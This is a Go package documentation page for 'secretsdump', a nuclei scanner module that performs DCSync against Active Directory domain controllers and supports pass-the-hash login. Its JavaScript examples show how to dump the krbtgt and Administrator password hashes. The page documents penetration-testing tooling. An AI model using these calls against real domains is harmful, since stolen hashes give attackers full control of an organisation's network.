secretsdump

package
v3.11.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 8, 2026 License: MIT, Apache-2.0 Imports: 9 Imported by: 1 module, 0 packages

The first number is the count of modules that contain a package that imports this one. The module count is a better indicator of popularity than the package count. A module with 100 importing packages is counted only once instead of 100 times, reflecting the fact that the choice to use the package was likely made only once, not 100 times.
A '?' means that the value hasn't been computed yet.

Documentation

Overview

Package secretsdump exposes Mzack9999/goimpacket's DCSync (DRSUAPI IDL_DRSGetNCChanges) primitive to nuclei javascript templates.

DCSync requires Replicating Directory Changes / Replicating Directory Changes All extended rights on the domain head. Templates that reach this point typically already proved compromise of a Domain Admin account or of a principal with the right ACEs (e.g. via samr / ldap / kerberos chains).

Only single-object DCSync is exposed today; full-domain replication is intentionally left out as it requires explicit operator opt-in.

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func NewClient

func NewClient(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object

NewClient constructs a DCSync client. The credentials supplied must have "Replicating Directory Changes" rights on the domain head.

Constructor: constructor(public dc: string, public domain: string, public user: string, public password: string)

Types

type Client

type Client struct {
	Host   string
	Domain string
	User   string
	Pass   string
	// contains filtered or unexported fields
}

Client wraps an authenticated session to a Domain Controller and exposes DCSync helpers.

@example ```javascript const sd = require('nuclei/secretsdump'); const c = new sd.Client('dc01.acme.local', 'acme.local', 'admin', 'P@ss'); const krbtgt = c.DCSync('krbtgt'); ExportAs('krbtgt_nthash', krbtgt.nthash); ```

func (*Client) DCSync

func (c *Client) DCSync(target string) (*Secret, error)

DCSync replicates secrets for a single principal (DN, sAMAccountName, or SID) and returns its NT/LM hashes, hash history and account state.

@example ```javascript const sd = require('nuclei/secretsdump'); const c = new sd.Client('dc01', 'acme.local', 'admin', 'P@ss'); const s = c.DCSync('Administrator'); log(s.nthash); ```

func (*Client) SetHash

func (c *Client) SetHash(hash string)

SetHash enables NTLM pass-the-hash authentication.

@example ```javascript const c = new sd.Client('dc01', 'acme.local', 'admin', ”); c.SetHash(':31d6cfe0d16ae931b73c59d7e0c089c0'); ```

type Secret

type Secret struct {
	SAMAccountName     string   `json:"sam_account_name"`
	DistinguishedName  string   `json:"distinguished_name"`
	RID                uint32   `json:"rid"`
	NTHash             string   `json:"nthash,omitempty"`
	LMHash             string   `json:"lmhash,omitempty"`
	NTHashHistory      []string `json:"nthash_history,omitempty"`
	LMHashHistory      []string `json:"lmhash_history,omitempty"`
	UserAccountControl uint32   `json:"user_account_control"`
	PwdLastSet         int64    `json:"pwd_last_set"`
}

Secret is the result of a DCSync against a single principal.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL